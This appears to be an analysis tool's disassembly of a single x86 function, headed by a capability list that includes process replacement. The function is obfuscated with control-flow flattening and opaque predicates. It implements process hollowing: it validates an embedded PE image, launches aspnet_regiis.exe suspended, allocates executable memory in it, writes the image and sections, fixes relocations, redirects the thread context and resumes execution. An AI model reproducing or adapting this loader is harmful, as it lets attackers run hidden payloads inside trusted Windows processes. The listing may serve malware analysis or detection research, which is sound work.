Function at 0x10002330
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf8
mov eax, dword [0x10065c00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x100], 0x48c6bb58
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x104], eax
sub eax, 0x812b091f
je 0x10004689
jmp 0x1000236c
mov eax, dword [ebp - 0x104]
sub eax, 0x85692514
je 0x10002f35
jmp 0x10002382
mov eax, dword [ebp - 0x104]
sub eax, 0x915e29ca
je 0x1000397c
jmp 0x10002398
mov eax, dword [ebp - 0x104]
sub eax, 0x939ae6f8
je 0x10003b42
jmp 0x100023ae
mov eax, dword [ebp - 0x104]
sub eax, 0x9860248f
je 0x10002fef
jmp 0x100023c4
mov eax, dword [ebp - 0x104]
sub eax, 0x99770a0b
je 0x10003bcb
jmp 0x100023da
mov eax, dword [ebp - 0x104]
sub eax, 0x9d96c11b
je 0x10003561
jmp 0x100023f0
mov eax, dword [ebp - 0x104]
sub eax, 0x9edacfe9
je 0x1000363e
jmp 0x10002406
mov eax, dword [ebp - 0x104]
sub eax, 0x9efeb59c
je 0x10003de4
jmp 0x1000241c
mov eax, dword [ebp - 0x104]
sub eax, 0xa3fb472b
je 0x100046a4
jmp 0x10002432
mov eax, dword [ebp - 0x104]
sub eax, 0xa64bde64
je 0x10003bb1
jmp 0x10002448
mov eax, dword [ebp - 0x104]
sub eax, 0xa7328217
je 0x1000332a
jmp 0x1000245e
mov eax, dword [ebp - 0x104]
sub eax, 0xace5276d
je 0x10004664
jmp 0x10002474
mov eax, dword [ebp - 0x104]
sub eax, 0xb281705a
je 0x1000364d
jmp 0x1000248a
mov eax, dword [ebp - 0x104]
sub eax, 0xb373d600
je 0x10002d9e
jmp 0x100024a0
mov eax, dword [ebp - 0x104]
sub eax, 0xbbcc7909
je 0x10003cb6
jmp 0x100024b6
mov eax, dword [ebp - 0x104]
sub eax, 0xc2f6664f
je 0x1000419f
jmp 0x100024cc
mov eax, dword [ebp - 0x104]
sub eax, 0xc481008c
je 0x10004640
jmp 0x100024e2
mov eax, dword [ebp - 0x104]
sub eax, 0xc5d8011f
je 0x10002d28
jmp 0x100024f8
mov eax, dword [ebp - 0x104]
sub eax, 0xc650ef9c
je 0x10003a83
jmp 0x1000250e
mov eax, dword [ebp - 0x104]
sub eax, 0xc86ef3a4
je 0x1000380b
jmp 0x10002524
mov eax, dword [ebp - 0x104]
sub eax, 0xc89aa8e8
je 0x100044fe
jmp 0x1000253a
mov eax, dword [ebp - 0x104]
sub eax, 0xcad30b91
je 0x10002e5f
jmp 0x10002550
mov eax, dword [ebp - 0x104]
sub eax, 0xceda8a30
je 0x10003543
jmp 0x10002566
mov eax, dword [ebp - 0x104]
sub eax, 0xcf7c201d
je 0x10004085
jmp 0x1000257c
mov eax, dword [ebp - 0x104]
sub eax, 0xd161daec
je 0x1000458c
jmp 0x10002592
mov eax, dword [ebp - 0x104]
sub eax, 0xd517d25b
je 0x100045d1
jmp 0x100025a8
mov eax, dword [ebp - 0x104]
sub eax, 0xd5fe65c6
je 0x1000457a
jmp 0x100025be
mov eax, dword [ebp - 0x104]
sub eax, 0xd8a0a6ca
je 0x10003785
jmp 0x100025d4
mov eax, dword [ebp - 0x104]
sub eax, 0xdac073cd
je 0x10003875
jmp 0x100025ea
mov eax, dword [ebp - 0x104]
sub eax, 0xdd53ebfb
je 0x1000337b
jmp 0x10002600
mov eax, dword [ebp - 0x104]
sub eax, 0xdf86aebd
je 0x10003fb8
jmp 0x10002616
mov eax, dword [ebp - 0x104]
sub eax, 0xe0d65ec2
je 0x10003b7a
jmp 0x1000262c
mov eax, dword [ebp - 0x104]
sub eax, 0xe27d29ea
je 0x10004304
jmp 0x10002642
mov eax, dword [ebp - 0x104]
sub eax, 0xe69f0336
je 0x1000455c
jmp 0x10002658
mov eax, dword [ebp - 0x104]
sub eax, 0xe81cb875
je 0x10003c71
jmp 0x1000266e
mov eax, dword [ebp - 0x104]
sub eax, 0xeb190c5e
je 0x10002edc
jmp 0x10002684
mov eax, dword [ebp - 0x104]
sub eax, 0xee2f4e11
je 0x10003e02
jmp 0x1000269a
mov eax, dword [ebp - 0x104]
sub eax, 0xeedae23e
je 0x10004528
jmp 0x100026b0
mov eax, dword [ebp - 0x104]
sub eax, 0xeee9631b
je 0x10003bea
jmp 0x100026c6
mov eax, dword [ebp - 0x104]
sub eax, 0xef753b7e
je 0x10003128
jmp 0x100026dc
mov eax, dword [ebp - 0x104]
sub eax, 0xf00710ca
je 0x100043c9
jmp 0x100026f2
mov eax, dword [ebp - 0x104]
sub eax, 0xf0abc137
je 0x1000308f
jmp 0x10002708
mov eax, dword [ebp - 0x104]
sub eax, 0xf918fe54
je 0x100042f5
jmp 0x1000271e
mov eax, dword [ebp - 0x104]
sub eax, 0xfea0d0a5
je 0x1000450d
jmp 0x10002734
mov eax, dword [ebp - 0x104]
sub eax, 0xff4cb08e
je 0x10004604
jmp 0x1000274a
mov eax, dword [ebp - 0x104]
sub eax, 0xff6383c3
je 0x100036df
jmp 0x10002760
mov eax, dword [ebp - 0x104]
sub eax, 0xbdf1b3
je 0x10003e4a
jmp 0x10002776
mov eax, dword [ebp - 0x104]
sub eax, 0x25dca35
je 0x1000342b
jmp 0x1000278c
mov eax, dword [ebp - 0x104]
sub eax, 0x6eb9e7e
je 0x1000331b
jmp 0x100027a2
mov eax, dword [ebp - 0x104]
sub eax, 0x826cc6d
je 0x100040e5
jmp 0x100027b8
mov eax, dword [ebp - 0x104]
sub eax, 0xbcb8638
je 0x10004353
jmp 0x100027ce
mov eax, dword [ebp - 0x104]
sub eax, 0xd18e8ee
je 0x10003ba2
jmp 0x100027e4
mov eax, dword [ebp - 0x104]
sub eax, 0xf1a4b39
je 0x10004218
jmp 0x100027fa
mov eax, dword [ebp - 0x104]
sub eax, 0x10d1dfb4
je 0x10003fa9
jmp 0x10002810
mov eax, dword [ebp - 0x104]
sub eax, 0x1724f262
je 0x10003ae3
jmp 0x10002826
mov eax, dword [ebp - 0x104]
sub eax, 0x1b2386aa
je 0x10003a27
jmp 0x1000283c
mov eax, dword [ebp - 0x104]
sub eax, 0x1d90ec52
je 0x1000306e
jmp 0x10002852
mov eax, dword [ebp - 0x104]
sub eax, 0x1e727128
je 0x10002fc3
jmp 0x10002868
mov eax, dword [ebp - 0x104]
sub eax, 0x1f531270
je 0x10002f00
jmp 0x1000287e
mov eax, dword [ebp - 0x104]
sub eax, 0x20752c19
je 0x10004129
jmp 0x10002894
mov eax, dword [ebp - 0x104]
sub eax, 0x2193506a
je 0x10003b60
jmp 0x100028aa
mov eax, dword [ebp - 0x104]
sub eax, 0x21b9a852
je 0x100046ce
jmp 0x100028c0
mov eax, dword [ebp - 0x104]
sub eax, 0x239ce7bb
je 0x10002fe0
jmp 0x100028d6
mov eax, dword [ebp - 0x104]
sub eax, 0x23d49d28
je 0x10003734
mov ecx, dword [0x10066f38]
mov eax, dword [0x10066f34]
mov edx, ecx
add edx, 0x9d613c1
sub edx, 1
sub edx, 0x9d613c1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd161daec
mov ecx, 0xb373d600
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4dc00
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0xa1], al
mov ecx, dword [0x10066f38]
mov eax, dword [0x10066f34]
mov edx, ecx
sub edx, 0x35c78b17
sub edx, 1
add edx, 0x35c78b17
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd161daec
mov ecx, 0xcad30b91
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov dl, byte [ebp - 0xa1]
mov eax, 0xd5fe65c6
mov ecx, 0x3bc29df5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov edx, dword [ebp - 0x9c]
mov eax, 0x71038cd3
mov ecx, 0x1f531270
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov eax, dword [ebp - 0xf0]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100059e0
add esp, 0xc
mov dword [ebp - 0x100], 0x85692514
jmp 0x100047f6
mov eax, dword [ebp - 0xec]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100059e0
add esp, 0xc
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x96], al
mov dword [ebp - 0x100], 0x68ec9716
jmp 0x100047f6
mov eax, dword [ebp - 0xe4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x100], 0x239ce7bb
jmp 0x100047f6
mov dword [ebp - 0x100], 0x9860248f
jmp 0x100047f6
mov eax, dword [ebp - 0xe4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x95], al
mov dword [ebp - 0x100], 0x1d90ec52
jmp 0x100047f6
mov dl, byte [ebp - 0x95]
mov eax, 0xe69f0336
mov ecx, 0xf0abc137
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x100], 0x48cde12a
jmp 0x100047f6
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x100], 0x4f34d1e8
jmp 0x100047f6
mov dword [ebp - 0x100], 0xa7328217
jmp 0x100047f6
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x8c]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov dword [ebp - 0x100], 0xdd53ebfb
jmp 0x100047f6
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xdc]
mov edx, dword [edx]
mov esi, dword [ebp - 0xf0]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx]
movzx edx, word [ecx + 0x14]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x100], 0x25dca35
jmp 0x100047f6
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov dword [eax], 0
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
mov dword [eax], 0
mov dword [ebp - 0x100], 0x2d66ab51
jmp 0x100047f6
mov dl, byte [ebp - 0x79]
mov eax, 0x4c7a9db0
mov ecx, 0x9d96c11b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
mov edx, eax
sub edx, 0x67cc5353
sub edx, 1
add edx, 0x67cc5353
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xff4cb08e
mov ecx, 0x5ed9fc2a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov dword [ebp - 0x100], 0xb281705a
jmp 0x100047f6
mov ecx, dword [ebp - 0x74]
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov esi, dword [ebp - 0xc0]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0xc]
sub edx, 0x474fef00
add edx, eax
add edx, 0x474fef00
mov eax, dword [ebp - 0xf0]
mov esi, dword [eax]
mov eax, dword [ebp - 0x78]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xc4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
mov esi, dword [eax]
mov eax, dword [ebp - 0xc0]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x4694f5fa
mov ecx, 0xff6383c3
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc0]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
add eax, 0x7bf1abae
add eax, ecx
sub eax, 0x7bf1abae
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x100], 0x23d49d28
jmp 0x100047f6
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x6c]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0x65], al
mov ecx, dword [0x10066f38]
mov eax, dword [0x10066f34]
mov edx, ecx
sub edx, 0x9bd9653
sub edx, 1
add edx, 0x9bd9653
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x48073d8a
mov ecx, 0xc86ef3a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov dl, byte [ebp - 0x65]
mov eax, 0x4694f5fa
mov ecx, 0x429ec637
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x58]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x60]
add eax, 0xec690046
sub eax, ecx
sub eax, 0xec690046
mov ecx, dword [ebp - 0x64]
add ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov dword [ebp - 0x100], 0x4694f5fa
jmp 0x100047f6
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov dword [ebp - 0x100], 0x7b8b5cde
jmp 0x100047f6
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
mov edx, eax
add edx, 0x156c930
sub edx, 1
sub edx, 0x156c930
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x67fe56bc
mov ecx, 0xc650ef9c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov dword [ebp - 0x100], 0x576f63e9
jmp 0x100047f6
mov eax, dword [ebp - 0x54]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4d], al
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
mov edx, eax
sub edx, 0x90d54601
sub edx, 1
add edx, 0x90d54601
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xace5276d
mov ecx, 0x939ae6f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov dl, byte [ebp - 0x4d]
mov eax, 0x6f57b52c
mov ecx, 0x2193506a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x100], 0xe0d65ec2
jmp 0x100047f6
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0x4c]
mov eax, 0x6f57b52c
mov ecx, 0xd18e8ee
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov dword [ebp - 0x100], 0xa64bde64
jmp 0x100047f6
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x100], 0x99770a0b
jmp 0x100047f6
mov edx, dword [ebp - 0x48]
mov eax, 0xe27d29ea
mov ecx, 0xeee9631b
cmp dword [edx + 4], 0
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov dword [ebp - 0x100], 0x56ff0bd1
jmp 0x100047f6
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x100], 0x335b5cc6
jmp 0x100047f6
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ecx]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x3c], ax
mov dword [ebp - 0x100], 0x6c96fe41
jmp 0x100047f6
mov dl, byte [ebp - 0x39]
mov eax, 0x826cc6d
mov ecx, 0xee2f4e11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
add eax, 0xa78cb35b
add eax, ecx
sub eax, 0xa78cb35b
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ecx]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x32], ax
mov dword [ebp - 0x100], 0xbdf1b3
jmp 0x100047f6
mov ax, word [ebp - 0x32]
movzx ecx, ax
mov edx, 0xffffffff
xor edx, 0xfff
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, dword [ebp - 0x38]
sub ecx, 0xe293a1c4
add ecx, eax
add ecx, 0xe293a1c4
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x6c10c91c
mov ecx, 0x6a9f0f7d
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov dword [ebp - 0x100], 0xdf86aebd
jmp 0x100047f6
mov edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x100], 0x6c10c91c
jmp 0x100047f6
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
mov edx, eax
sub edx, 0xf3826bea
sub edx, 1
add edx, 0xf3826bea
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa3fb472b
mov ecx, 0x79954f73
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov dword [ebp - 0x100], 0x49e4eb87
jmp 0x100047f6
mov ecx, dword [0x10066f38]
mov eax, dword [0x10066f34]
mov edx, ecx
add edx, 0xee09fdc4
sub edx, 1
sub edx, 0xee09fdc4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7991a325
mov ecx, 0xc2f6664f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x24], eax
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
mov edx, eax
sub edx, 0x3ea6ae2b
sub edx, 1
add edx, 0x3ea6ae2b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7991a325
mov ecx, 0x480986d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
mov edx, eax
add edx, 0xa7c5b3be
sub edx, 1
sub edx, 0xa7c5b3be
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x21b9a852
mov ecx, 0x2429a02e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov dword [ebp - 0x100], 0xa64bde64
jmp 0x100047f6
mov dword [ebp - 0x100], 0x6f57b52c
jmp 0x100047f6
mov ecx, dword [0x10066f38]
mov eax, dword [0x10066f34]
mov edx, ecx
add edx, 0xfb60b258
sub edx, 1
sub edx, 0xfb60b258
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5e8ee20d
mov ecx, 0xf00710ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xf0]
mov edx, dword [eax]
mov eax, dword [ebp - 0x20]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xf0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xdc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
sub ecx, 0x54b4409e
add ecx, eax
add ecx, 0x54b4409e
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x10066f38]
mov ecx, dword [0x10066f34]
mov edx, eax
add edx, 0xe89014e
sub edx, 1
sub edx, 0xe89014e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5e8ee20d
mov ecx, 0xc89aa8e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100047f6
mov dword [ebp - 0x100], 0xfea0d0a5
jmp 0x100047f6
mov eax, dword [ebp - 0xf0]
add eax, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x100], 0xeedae23e
jmp 0x100047f6
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x100], 0xe69f0336
jmp 0x100047f6
mov dword [ebp - 0x100], 0x71038cd3
jmp 0x100047f6
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10004de0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
